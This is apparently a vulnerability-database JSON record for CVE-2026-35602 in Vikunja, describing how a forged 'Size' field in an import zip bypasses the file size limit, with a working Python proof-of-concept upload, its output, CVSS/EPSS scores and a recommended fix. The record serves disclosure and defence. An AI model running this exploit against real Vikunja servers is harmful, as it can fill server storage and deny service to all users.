{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89330?format=json","vulnerability_id":"VCID-v8k5-eya6-nqaq","summary":"Vikunja has File Size Limit Bypass via Vikunja Import\n## Summary\n\nThe Vikunja file import endpoint uses the attacker-controlled `Size` field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting `Size` to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.\n\n## Details\n\nDuring import, the JSON metadata from `data.json` inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at `pkg/modules/migration/create_from_structure.go:406` passes the attacker-controlled `File.Size` from the JSON:\n\n```go\nerr = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)\n```\n\nThe file size enforcement check at `pkg/files/files.go:118` then evaluates this attacker-controlled value:\n\n```go\nif realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {\n```\n\nWith `Size` set to 0 in the JSON, the comparison `0 > 20MB` evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the `readZipEntry` limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with default `max_file_size: 20MB`.\n\n```python\nimport zipfile, io, json, requests\n\nTARGET = \"http://localhost:3456\"\ntoken = requests.post(f\"{TARGET}/api/v1/login\",\n    json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\"}\n\n# Craft zip with forged Size=0 in JSON but 25MB actual content\nlarge_content = b\"A\" * (25 * 1024 * 1024)  # 25MB\ndata = [{\"title\": \"Project\", \"tasks\": [{\"title\": \"Task\", \"attachments\": [{\n    \"file\": {\"name\": \"large.bin\", \"size\": 0, \"created\": \"2026-01-01T00:00:00Z\"},\n    \"created\": \"2026-01-01T00:00:00Z\"}]}]}]\n\nzip_buf = io.BytesIO()\nwith zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\"VERSION\", \"2.2.2\")\n    zf.writestr(\"data.json\", json.dumps(data))\n    zf.writestr(\"large.bin\", large_content)\n\nresp = requests.put(f\"{TARGET}/api/v1/migration/vikunja-file/migrate\",\n    headers=h,\n    files={\"import\": (\"export.zip\", zip_buf.getvalue(), \"application/zip\")})\n```\n\nOutput:\n```\nHTTP 200: {\"message\": \"Everything was migrated successfully.\"}\n25MB file stored despite 20MB server limit.\n```\n\n## Impact\n\nAn authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.\n\n## Recommended Fix\n\nUse the actual content length instead of the attacker-controlled `Size` field:\n\n```go\nerr = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","aliases":[{"alias":"CVE-2026-35602"},{"alias":"GHSA-qh78-rvg3-cv54"}],"fixed_packages":[],"affected_packages":[],"references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35602","reference_id":"","reference_type":"","scores":[{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.15154","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.15047","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.15022","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.15106","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.15146","published_at":"2026-06-06T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35602"},{"reference_url":"https://github.com/go-vikunja/vikunja","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/go-vikunja/vikunja"},{"reference_url":"https://github.com/go-vikunja/vikunja/pull/2575","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T14:19:25Z/"}],"url":"https://github.com/go-vikunja/vikunja/pull/2575"},{"reference_url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T14:19:25Z/"}],"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"},{"reference_url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T14:19:25Z/"}],"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35602","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35602"}],"weaknesses":[{"cwe_id":770,"name":"Allocation of Resources Without Limits or Throttling","description":"The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor."}],"exploits":[],"severity_range_score":"4.0 - 6.9","exploitability":null,"weighted_severity":null,"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-v8k5-eya6-nqaq"}